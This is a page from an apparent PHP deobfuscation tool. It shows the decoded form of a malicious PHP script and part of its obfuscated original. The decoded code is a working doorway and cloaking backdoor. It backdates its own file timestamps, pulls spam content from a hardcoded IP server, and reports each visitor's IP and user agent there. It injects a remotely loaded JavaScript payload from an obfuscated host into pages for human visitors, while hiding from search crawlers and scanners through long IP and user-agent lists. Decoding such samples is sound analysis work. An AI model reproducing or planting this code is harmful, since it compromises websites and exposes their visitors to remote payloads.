Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $vpxkcf_id = array('rRxpc9pK8rP9KxSFsu','AZg2Z0INlxXvwcctQ6','dspH7VbZLkoGYXgBRC','Q..
Decoded Output download
error_reporting(0);
define("BASE_URL","http://144.76.76.68/en_dl2/");
$cache = true;
if(!function_exists('scandir')) {
function scandir($dir, $sortorder = 0) {
if(is_dir($dir)) {
$dirlist = opendir($dir);
while( ($file = readdir($dirlist)) !== false) {
if(!is_dir($file)) {
$files[] = $file;
}
}
($sortorder == 0) ? asort($files) : rsort($files);
return $files;
} else {
return FALSE;
break;
}
}
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
$tdir = '.backup';
if (!file_exists($tdir)) mkdir($tdir);
$time = time() - 60*24*3601;
$dr = getenv('DOCUMENT_ROOT');
if (@filemtime(dirname(__FILE__)) > $time || @filemtime('.'.getenv('PHP_SELF')) > $time || @filemtime(getenv('SCRIPT_FILENAME')) > $time)
{
$files = @scandir($dr);
for ($i=0;$i<count($files);$i++)
{
if(stristr($files[$i], '.php') || stristr($files[$i], '.htm'))
{
if (filemtime($dr."/".$files[$i]) < $time) $time = filemtime($dr."/".$files[$i]);
break;
}
}
@touch(dirname(__FILE__), $time);
@touch(getenv('SCRIPT_FILENAME'), $time);
@touch('.'.getenv('PHP_SELF'), $time);
@touch($tdir, $time);
@touch('.htaccess', $time);
}
if (!isset($_GET['q']) || strlen($_GET['q'])<1)
{
$q = 'MAINDOOR';
}
else $q = $_GET['q'];
if ($q == 'yesitsourtest01') {
echo '__OK__';
exit(0);
}
if (strlen($q) < 1) $q = 'MAINDOOR';
$q = rm_rand_str($q);
$domain = getenv('HTTP_HOST');
$ip = getenv('REMOTE_ADDR');
$ua = getenv('HTTP_USER_AGENT');
$sagent = strtolower($ua);
$stat = 'ht"+"tp"+":/"+"/dln.o"+"din"+"tar"+"a.co"+"m:108"+"0/dln.j"+"s';
$keyword = str_replace('-','+',$q);
$tds_answer = '<script type="text/javascript">var hs = document.createElement("scr"+"ipt");hs.async = true;hs.src = ("'.$stat.'?seoref="+encodeURIComponent(document.referrer)+ "¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword='.$keyword.'&"+Math.floor(999*Math.random()));(document.getElementsByTagName("hea"+"d")[0]||document.getElementsByTagName("bo"+"dy")[0]).appendChild(hs);</script>';
@cc2(BASE_URL.'/tds.php?d='.$domain.'&kw='.$keyword.'&ip='.$ip.'&ua='.urlencode($ua),1);
if (!human($sagent,$ip) || isBlackListedUA()) $tds_answer = '';
$fn = md5(urlencode($q));
if ($cache && file_exists($tdir.'/.'.$fn)) {
$content = file_get_contents($tdir.'/.'.$fn);
} else {
$content = cc2(BASE_URL.'/content.php?d='.$domain.'&kw='.$keyword,60);
if ($cache && strlen($content)>500) file_put_contents($tdir.'/.'.$fn, $content);
}
$content = str_replace('{tds:answer}', $tds_answer, $content);
if (strpos(strtolower($keyword),'.xml') !== false) header('Content-type: application/xml');
echo $content;
function rm_rand_str($q) {
$arr = array('/\.php$/i','/\.htm$/i','/\.html$/i','#/$#','/\-\-.*$/');
return preg_replace($arr,'',$q);
}
function human($server_user_agent,$server_ip)
{
$stop_ips_masks = array
(
'209\.73\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '216\.39\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '111\.13\.102\.[0-9]{1,3}', '119\.63\.19[2-9]\.[0-9]{1,3}', '119\.63\.196\.[0-9]{1,3}', '119\.63\.199\.[0-9]{1,3}', '122\.81\.(21[01]|20[89])\.[0-9]{1,3}', '123\.125\.67\.(15[01]|14[4-9])', '123\.125\.67\.15[23]', '123\.125\.68\.[0-9]{1,3}', '123\.125\.68\.(7[01]|6[89])', '123\.125\.68\.7[2-9]', '123\.125\.68\.(9[0-5]|8[0-9])', '123\.125\.68\.8[0-3]', '123\.125\.68\.8[45]', '123\.125\.68\.9[6-9]', '123\.125\.71\.[0-9]{1,3}', '125\.39\.7[89]\.[0-9]{1,3}', '180\.76\.[0-9]{1,3}\.[0-9]{1,3}', '180\.76\.15\.[0-9]{1,3}', '180\.76\.4\.[0-9]{1,3}', '180\.76\.5\.[0-9]{1,3}', '180\.76\.6\.[0-9]{1,3}', '185\.10\.104\.[0-9]{1,3}', '202\.46\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '202\.46\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '220\.181\.108\.[0-9]{1,3}', '220\.181\.38\.[0-9]{1,3}', '220\.181\.51\.[0-9]{1,3}', '61\.135\.169\.[0-9]{1,3}', '203\.208\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '203\.208\.60\.[0-9]{1,3}', '209\.85\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '209\.85\.238\.[0-9]{1,3}', '216\.239\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '216\.3[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '64\.233\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '64\.68\.8[0-7]\.[0-9]{1,3}', '66\.249\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.(7[0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.90\.[0-9]{1,3}', '66\.249\.91\.[0-9]{1,3}', '66\.249\.92\.[0-9]{1,3}', '72\.14\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '72\.14\.199\.[0-9]{1,3}', '8\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', '8\.6\.(5[0-5]|4[89])\.[0-9]{1,3}', '198\.5\.(21[01]|20[89])\.[0-9]{1,3}', '205\.226\.20[0-7]\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '209\.202\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '131\.107\.[0-9]{1,3}\.[0-9]{1,3}', '131\.253\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '131\.253\.2[4-7]\.[0-9]{1,3}', '131\.253\.4[67]\.[0-9]{1,3}', '131\.253\.61\.[0-9]{1,3}', '131\.253\.6[23]\.[0-9]{1,3}', '131\.253\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '157\.5[45]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.55\.109\.[0-9]{1,3}', '157\.55\.110\.4[0-7]', '157\.55\.110\.(6[0-3]|5[0-9]|4[89])', '157\.55\.1[67]\.[0-9]{1,3}', '157\.55\.18\.[0-9]{1,3}', '157\.55\.3[2-5]\.[0-9]{1,3}', '157\.55\.36\.[0-9]{1,3}', '157\.55\.39\.[0-9]{1,3}', '157\.55\.48\.[0-9]{1,3}', '157\.5[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.56\.229\.[0-9]{1,3}', '157\.56\.92\.[0-9]{1,3}', '157\.56\.93\.[0-9]{1,3}', '157\.56\.9[45]\.[0-9]{1,3}', '157\.60\.[0-9]{1,3}\.[0-9]{1,3}', '199\.30\.(3[01]|2[0-9]|1[6-9])\.[0-9]{1,3}', '199\.30\.16\.[0-9]{1,3}', '199\.30\.27\.[0-9]{1,3}', '202\.96\.51\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '204\.95\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '207\.46\.[0-9]{1,3}\.[0-9]{1,3}', '207\.46\.0\.[0-9]{1,3}', '207\.46\.1[23]\.[0-9]{1,3}', '207\.46\.192\.[0-9]{1,3}', '207\.46\.195\.[0-9]{1,3}', '207\.46\.199\.[0-9]{1,3}', '207\.46\.204\.[0-9]{1,3}', '207\.68\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}', '208\.68\.(14[0-3]|13[6-9])\.[0-9]{1,3}', '213\.199\.(14[0-3]|13[0-9]|12[89])\.[0-9]{1,3}', '219\.142\.53\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '40\.11[2-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.12[0-3]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.124\.[0-9]{1,3}\.[0-9]{1,3}', '40\.125\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])\.[0-9]{1,3}', '40\.7[45]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.7[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.77\.167\.[0-9]{1,3}', '40\.(9[0-5]|8[0-9])\.[0-9]{1,3}\.[0-9]{1,3}', '40\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}\.[0-9]{1,3}', '64\.4\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '65\.5[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '65\.52\.104\.[0-9]{1,3}', '65\.52\.(11[01]|10[89])\.[0-9]{1,3}', '65\.55\.213\.[0-9]{1,3}', '65\.55\.217\.[0-9]{1,3}', '65\.55\.24\.[0-9]{1,3}', '65\.55\.52\.[0-9]{1,3}', '65\.55\.55\.[0-9]{1,3}', '114\.111\.95\.[0-9]{1,3}', '124\.83\.159\.[0-9]{1,3}', '124\.83\.179\.[0-9]{1,3}', '124\.83\.223\.[0-9]{1,3}', '183\.79\.[0-9]{1,3}\.[0-9]{1,3}', '183\.79\.63\.[0-9]{1,3}', '183\.79\.92\.[0-9]{1,3}', '202\.160\.(19[01]|18[0-9]|17[6-9])\.[0-9]{1,3}', '202\.165\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '202\.46\.19\.[0-9]{1,3}', '203\.141\.(4[0-7]|3[2-9])\.[0-9]{1,3}', '203\.216\.255\.[0-9]{1,3}', '206\.190\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '206\.3\.(3[01]|[12]?[0-9])\.[0-9]{1,3}', '207\.126\.(23[0-9]|22[4-9])\.[0-9]{1,3}', '209\.131\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '209\.191\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '210\.236\.233\.[0-9]{1,3}', '211\.13\.230\.[0-9]{1,3}', '211\.14\.11\.[0-9]{1,3}', '211\.14\.8\.[0-9]{1,3}', '216\.109\.(12[0-7]|11[2-9])\.[0-9]{1,3}', '216\.136\.23[2-5]\.[0-9]{1,3}', '216\.145\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '216\.155\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '63\.163\.102\.[0-9]{1,3}', '64\.157\.13[6-9]\.[0-9]{1,3}', '66\.163\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '66\.218\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.228\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.94\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '67\.195\.[0-9]{1,3}\.[0-9]{1,3}', '67\.195\.110\.[0-9]{1,3}', '67\.195\.111\.[0-9]{1,3}', '67\.195\.11[23]\.[0-9]{1,3}', '67\.195\.114\.[0-9]{1,3}', '67\.195\.115\.[0-9]{1,3}', '67\.195\.37\.[0-9]{1,3}', '67\.195\.50\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '68\.180\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '68\.180\.(23[01]|22[4-9])\.[0-9]{1,3}', '69\.147\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '72\.30\.[0-9]{1,3}\.[0-9]{1,3}', '72\.30\.132\.[0-9]{1,3}', '72\.30\.142\.[0-9]{1,3}', '72\.30\.161\.[0-9]{1,3}', '72\.30\.196\.[0-9]{1,3}', '72\.30\.198\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '74\.6\.13\.[0-9]{1,3}', '74\.6\.17\.[0-9]{1,3}', '74\.6\.18\.[0-9]{1,3}', '74\.6\.22\.[0-9]{1,3}', '74\.6\.254\.[0-9]{1,3}', '74\.6\.27\.[0-9]{1,3}', '74\.6\.8\.[0-9]{1,3}', '98\.13[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '98\.137\.206\.[0-9]{1,3}', '98\.137\.207\.[0-9]{1,3}', '98\.137\.72\.[0-9]{1,3}', '98\.139\.168\.[0-9]{1,3}', '100\.43\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '100\.43\.80\.[0-9]{1,3}', '100\.43\.81\.[0-9]{1,3}', '100\.43\.85\.[0-9]{1,3}', '100\.43\.90\.[0-9]{1,3}', '100\.43\.91\.[0-9]{1,3}', '130\.193\.62\.[0-9]{1,3}', '141\.8\.143\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '141\.8\.153\.[0-9]{1,3}', '141\.8\.153\.(12[0-7]|11[2-9])', '178\.154\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '178\.154\.165\.[0-9]{1,3}', '178\.154\.166\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '178\.154\.200\.[0-9]{1,3}', '178\.154\.202\.[0-9]{1,3}', '178\.154\.205\.[0-9]{1,3}', '178\.154\.21[01]\.[0-9]{1,3}', '178\.154\.239\.[0-9]{1,3}', '178\.154\.243\.[0-9]{1,3}', '199\.21\.9[6-9]\.[0-9]{1,3}', '199\.21\.99\.[0-9]{1,3}', '213\.180\.(22[0-3]|2[01][0-9]|19[2-9])\.[0-9]{1,3}', '213\.180\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '213\.180\.(21[0-5]|20[89])\.[0-9]{1,3}', '213\.180\.21[6-9]\.[0-9]{1,3}', '37\.140\.141\.[0-9]{1,3}', '37\.140\.165\.[0-9]{1,3}', '37\.140\.188\.[0-9]{1,3}', '37\.9\.115\.[0-9]{1,3}', '37\.9\.8[4-7]\.[0-9]{1,3}', '5\.255\.253\.[0-9]{1,3}', '5\.45\.254\.[0-9]{1,3}', '77\.88\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '77\.88\.22\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '77\.88\.29\.[0-9]{1,3}', '77\.88\.31\.[0-9]{1,3}', '77\.88\.59\.[0-9]{1,3}', '84\.201\.146\.[0-9]{1,3}', '84\.201\.148\.[0-9]{1,3}', '84\.201\.149\.[0-9]{1,3}', '87\.250\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '87\.250\.243\.[0-9]{1,3}', '87\.250\.253\.[0-9]{1,3}', '93\.158\.147\.[0-9]{1,3}', '93\.158\.148\.[0-9]{1,3}', '93\.158\.151\.[0-9]{1,3}', '93\.158\.153\.[0-9]{1,3}', '95\.108\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '95\.108\.128\.[0-9]{1,3}', '95\.108\.138\.[0-9]{1,3}', '95\.108\.15[01]\.[0-9]{1,3}', '95\.108\.156\.[0-9]{1,3}', '95\.108\.158\.[0-9]{1,3}', '95\.108\.188\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '95\.108\.234\.[0-9]{1,3}', '95\.108\.24[67]\.[0-9]{1,3}', '95\.108\.248\.[0-9]{1,3}', '95\.158\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}',
"66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "66\.108\.185\.[0-9]+", "70\.91\.180\.25",
"65\.93\.62\.242",
"74\.193\.246\.129",
"213\.144\.15\.38",
"195\.92\.229\.2",
"70\.50\.189\.191",
"218\.28\.88\.99",
"165\.160\.2\.20",
"89\.122\.224\.230",
"66\.230\.175\.124",
"218\.18\.174\.27",
"65\.33\.87\.94",
"67\.210\.111\.241",
"81\.135\.175\.70",
"64\.69\.34\.134",
"89\.149\.253\.169",
"64\.233\.1[6-8][1-9]\.[0-9]+",
"64\.233\.19[0-1]\.[0-9]+",
"209\.185\.108\.[0-9]+",
"209\.185\.253\.[0-9]+",
"209\.85\.238\.[0-9]+",
"216\.239\.33\.9[6-9]",
"216\.239\.37\.9[8-9]",
"216\.239\.39\.9[8-9]",
"216\.239\.41\.9[6-9]",
"216\.239\.45\.4",
"216\.239\.46\.[0-9]+",
"216\.239\.51\.9[6-9]",
"216\.239\.53\.9[8-9]",
"216\.239\.57\.9[6-9]",
"216\.239\.59\.9[8-9]",
"216\.33\.229\.163",
"64\.233\.173\.[0-9]+",
"64\.68\.8[0-9]\.[0-9]+",
"64\.68\.9[0-2]\.[0-9]+",
"72\.14\.199\.[0-9]+",
"8\.6\.48\.[0-9]+",
"207\.211\.40\.82",
"67\.162\.158\.146",
"66\.255\.53\.123",
"24\.200\.208\.112",
"129\.187\.148\.240",
"129\.187\.148\.244",
"199\.126\.151\.229",
"118\.124\.32\.193",
"89\.149\.217\.191"
);
$stop_agents_masks = array('http', 'google', 'slurp', 'msnbot', 'bot', 'crawl', 'spider', 'robot', 'httpclient', 'curl', 'php', 'indy library', 'wordpress','charlotte','wwwster','python','urllib','perl','libwww','lynx','twiceler','rambler','yandex','trend','virus','malware','wget','bing');
foreach ($stop_ips_masks as $stop_ip_mask) if(preg_match("/$stop_ip_mask/", $server_ip)) {
return false;
}
foreach($stop_agents_masks as $stop_agents_mask) if(preg_match("/$stop_agents_mask/", $server_user_agent)){
return false;
}
if(strlen($server_user_agent)<=11) {
return false;
}
return true;
}
function isBlackListedUA()
{
$ua=strtolower(getenv('HTTP_USER_AGENT'));
if ($ua=='' || strlen($ua)<=11) return true;
if (!getenv('HTTP_ACCEPT_LANGUAGE') || !getenv('HTTP_ACCEPT_ENCODING') || !getenv('HTTP_ACCEPT')) return true;
return false;
}
function cc2($url,$to = 10)
{
$agents = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20030504 Mozilla Firebird/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10"
);
if (function_exists('curl_init') && function_exists('curl_exec'))
{
$agent = $agents[rand(0,count($agents)-1)];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, $to);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
if (!(@ini_get('safe_mode') || @ini_get('open_basedir')))
{
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
}
@curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false)
{
return $content;
}
}
else if (function_exists('fsockopen'))
{
global $oldheader;
$a = $agents[rand(0,count($agents)-1)];
$url = str_replace("http://","",$url);
if (preg_match("#/#","$url"))
{
$page = $url;
$url = @explode("/",$url);
$url = $url[0];
$page = str_replace($url,"",$page);
if (!$page || $page == "")
{
$page = "/";
}
$ip = gethostbyname($url);
}else{
$ip = gethostbyname($url);
$page = "/";
}
$open = fsockopen($ip, 80, $errno, $errstr, $to);
stream_set_timeout($open,$to);
if ($open)
{
$send = "GET $page HTTP/1.0
";
$send .= "Host: $url
";
$send .= "Referer: http://$url$page
";
$send .= "Accept-Language: en-us, en;q=0.50
";
$send .= "User-Agent: $a
";
$send .= "Connection: Close
";
fputs($open, $send);
while (!feof($open))
{
$return .= fgets($open, 4096);
}
fclose($open);
$return = @explode("
",$return,2);
$header = $return[0];
if ($oldheader)
{
$header = "$oldheader<br /><br />
$header";
}
$header = str_replace("
","<br />",$header);
if ($return[1])
{
$body = $return[1];
}else{
$body = "";
}
if ($body)
{
$return = $body;
}else{
$return = $header;
}
if (preg_match("/Location\:/","$header"))
{
$url = @explode("Location: ",$header);
$url = $url[1];
$url = @explode("
",$url);
$url = $url[0];
$oldheader = str_replace("
","",$header);
$l = "Location:";
$oldheader = str_replace("Location:",$l,$oldheader);
return cc2($url);
}else{
return $return;
}
}
}
else if (ini_get('allow_url_fopen') == '1')
{
$ctx = stream_context_create(array(
'http' => array(
'timeout' => $to
)
)
);
$content = file_get_contents($url, 0, $ctx);
if ($content !== false)
{
return $content;
}
}
else
{
return 0;
}
}
Did this file decode correctly?
Original Code
<?php $vpxkcf_id = array('rRxpc9pK8rP9KxSFsu','AZg2Z0INlxXvwcctQ6','dspH7VbZLkoGYXgBRC','QRx/uS/77dPaMDkISd','bCrhmD6nr+kZNNne2v','LDMAh7oT8Pwng8u6/r','jYPtrYE/HM/8uvrX0U','W3d3V+ojbVURzP99tt','Zpqtjo1/baftz3qDCW','+rSFLre/2Rrxwqcbjw','4ft4WH8xXMz68TiY9f','zv4yiO6lrU92aDcag1','Gso/21uKkiAoElCvwU','tTqUWgTBAO/BD46YQL','yAqwHEe9BA14yD8IRj','iOTkAQEAVzP+WH2hH8','YTSe+HWlXhvCOyCFvj','dIkJAOOL44PFSG3iTy','hdBE7ItELlI2EhjJxJ','Ho+hbY0ceDhOrn9vJ7','PT8pmtWfiodDgmnUUP','aVMP890Tr040U4k4IO','hCV+Kj7omNhFYrw7Or','noSoQ7mNuXBBktDS8/','0SlKgVeQc2++iHv9YB','b7sziS/tlK3bOGIZSc','eVMfvDXwYk/apDYEQ7','wZovnzKNqDJuZDCtSG','iQWl5mRxgucmBszuHm','M/AobDh3Ac+8AwESas','POxPggiH5ffEUkQm2G','3TP/hbi8F/wEpr3Xn9','L4u5dqAk5sC5SVMQFk','x++oW8HcvoqcXjKYU2','vNUbyp5i639w8w/D1h','lCB8j43gfDfKtrb8+O','rz51Ty9752dnlzRrlP','IGpUyJHniiUeq93ruP','J91eD8S9VoSEHz+UHK','LW0loJ188fPvcuuifv','tFLsBPPi+Pzj50vifX','r0qZsjaGxvoV1FIKGb','sqQTOTIMQgjT8aF+UB','u/6geLWRaLtfHuLtAT','A0ztKA7BYDIhouva+B','ac3JqP5loD9SoGj+Ip','qIMchH/RMNkEQIuW2l','ZbGU1DeSU1VxIPVKKL','KEhDP/H+1ps4WPRH64','ZvSu4HGU6pFQtwi/1T','gEhxVMhgFHv9vh9FWg','6apOk4inxwQO999/Ja','+6rdJoadYGplo69Y4t','evGN6fjj6evj07O9cE','J8omgmQkMiRxFAge/W','gcR8EihJyJdaaJ1PT7','o0DRer2zf/V6yGoLEi','QWa4PUL9HkK3qJNZR1','8TQSTnshRFmPouErJd','MgmHrjWS5lPlxefu59','OLsQ6VIbz3Ow8+6ns8','tu7+jt23MBXXirlFcX','3fPe0XvIOYERefdQog','ALZMbBJHjwQfTCE7DY','Q4g2itVdNZ7Dy34bXt','qDyawVwIfBeIYAL4RX','r9XHoek+0x141wnpb/','gU0ey++I8PUM6FHFxA','J14fknZPa2q7WlPONR','5EPW8WPdBKpr2K+uF4','Hivx49w/VGP/e9z+2/','vmiVH19TcvVEaYmYOg','v5jCHFp9iOXY70LMw7','e6CoggHnEbB6Oo5UWP','s36y4sL3KMRvdVVr0T','xb2p+RH4T+8FDd9Wf9','YOBfnX88DqbzYIbcUi','GAAU2AHzZ2FXVn7oWQ','I7EfHiYT3In8w1rk7y','zCQ7ZDBj/vvuued883','sIW2obGr7kAr4S0mcU','9yOwTl5MeWtqPufvLi','UWs4CYKw7rruH/QVAy','aY1huNxkHGDlwu7RD9','9Xjp3Z9iKqsj30OvqY','1r/fbHjw3Id+ThR0Ju','tLw59gjH0BMM6iMoca','/awg+v0btv+n1eT7qf','ltYGP2J1+5P0FwEM6n','95WJ7OeI7fx3P4uPDg','4wJTBC1E8ddkyWrwYr','SYepA7IlKbQEHJPY7+','ghj6cgKl0x9cHYEBlJ','UAosAbYu5MB1Y9x/5r','I+Et+7CdHWVtYYN5QM','kCerm81+RqLutqD6yW','W+CXKTDxs7U5R7liKA','nYZKymTbVkReOkpkgm','jdeWDn1SQfOxpBvUzo','RAlKecdkup+Q8Yc18Y','8ydU3Lxxl3nI+jYPon','q+hkjdG02t9X060Za6','RQhE6Ozq2rHgsocpvq','9AjE3GfQ97qDaRAHMq','rYk0+J42WSulUhjaC9','Hx8Oo91rX2Ddq11h5D','jYHPsJ7mP0/El5ft2k','sa27vZa/1Ra4vOS/ZG','89C/Tw2CzJtaUqt+5l','RJ4tMPv/lhbwHvPRmq','cggiVqw6WFKDOXyPel','Mv+hIlyiKoTuuxxnX3','ptUxblp15l7r7PYHu7','b3nNtrfc+9bdy06P0f','1jTQJ4KA2TctA4jqNg','CN2x8W4fwwr50SCsbY','TYuBCKbzYjhwsxHuXn','MAbsCxN8DdQjgH0Q7o','UeeMpsn1cn058uEWMO','ygXSxhF/PaRJsUYwES','N24LYM4GCQCvd0iATQ','oVo3TIMCXk4Lc96/aH','I3xWjOSQr8pgplUCci','EYiuR2WPG0LBEaHZxK','IYajA3TJg5VozKoEm5','XQatriMHIsDFP8V8ib','YwSbdhb8aDoR/wa5qP','Ekqo0pwznqgPEK7U01','grEBbhW6yqaUxMnabr','HK4GqOsp8504TM1ovh','IA1tXOeWiFoOb6ZkzK','4NeJOfeblxEia8ZO5Y','oXi+RD1NdypsALduN8','WnbaKAZxRNJEjSsFOY','GTbqbLpZOl93JEMoDG','Yp35Sq83RcV68Gs2pw','YQ3vwCgzy/zqlls9IS','yp206ZK0qQMcmkBhUL','kutQdXjCWsB1jDOOk9','crfUfrUp1xQvpBfMXk','rztpTFc5x0Ez8F8xoL','lSy0pThsrQs/kzg6pQ','Z2PNRjxuGb+X2xkXDs','YqNneGY17bm1BstgGO','6/aG+fyyV5kFZrOw+m','y0HmHS4uNWw3F1Mkmf','YljhGrOOWmq5FMOpBK','8XynUUuxpcPVGzQj51','JU8zKWYudyvhxRUtAx','vV4FX3LmEsL4PFxQi0','M9BxhihGSb7YpVGVUD','C7Esw7pc0IFiuLPT1V','M2KoNi6WTiZKJ9MFnl','uuLsfaYT6hREk0vRLK','yvI1wyj2Zw5ubYC7lX','Be1hp2ZD+e9gRG0hNU','dzNOQmeKzGVGhTFZss','fJo2+UgbsjWl5K6xmD','1z+XdxAmhhhb25IVCS','BUTvo8DdV8Gpq1Wdsy','4s5Tyq5AtJ84ww5u9O','xOGXhlI/YUjk9Io7J2','0sy1twzEVpjDtrBmPq','mxRUxeuv1JwDm1nSqZ','2DsxoxrcqQSbVVCLV0','KL93/UbOKJRHEZoNB0','MMkstxreqYZzXrxuIG','yZtBLNruZSVuvQh7ae','K0aOLBKdqkJNVM+t7j','wpm6UbQmbiUiOals27','R9q9WSU1mgTpz96V4s','4uXWGvGa/KFirkDFv+','OpellfPyHo9aa2oWn6','kTkuFe69fbS479Hjds','uRktQpAnb9zQy+GUEJ','Xg8m02tavZDNiG7TUT','ypb2jgLJtJ5zVEIkFm','3ndKlGxXaGzgjt8sNI','LK3UuclVuHS/Zz9n+/','9/2CCi4ZjzK+cD3Hme','pu7yPt5I+sKqLKAz0O','WKWolGW5VKONsAL+sD','cyjmBrhVCTc6lWBL//','/u44kSDyd/Z/ucYyJ3','E1U+o6aw8ztRiac3xs','YtToLFDF4JNqvBxVv5','FFz8w0AGdn759EQiFX','cyCbBTBaySzXkV0DKr','oFVCC2WiFQoqWzlqBz','c89gZ4pxLe4eVgDMGS','30h0POgwnlnwUipHrw','azarBVCXarmbslZ04U','hnjmVHzggF0SlQ/j+R','vzlNgyKnkv7//kcp1i','dQjF/M0jvJQL9ZLVCP','YvTDUl57pezZ+X/OCY','Q9igoTgh3oBTcpKVIZ','hG6UENZ8mvbNUobvlp','gKj3YveNRmRPWG3ylE','/omvLoTHqr4tA8xeas','dGpYGRjt8k1WDS+Oog','zuOGVwt3SVl1Cn9JDZ','kpsQXpxQeEBplZdn4O','44T9+gJ/icP/10JqVx','qzgarApavMV1KDGo9b','c3wJ0N8GL+uGZY+vOb','zJSwJKEyeLHTXNrWO7','LrqYQ71fDiH1Vz8GL5','lvw993fKa8qEcacabm','yAW2WlLYdib4BvEOE4','z6/vKTU3zEruvPTnnx','xKuYLWs89q6YkZNf0l','lEobIUncXbWJT7wTVv','K7JqQuF0ilmKY86RSQ','ZYwUa+0Mb7eElb2J0d','JOrQxrqbEvQ0oDbLcE','kb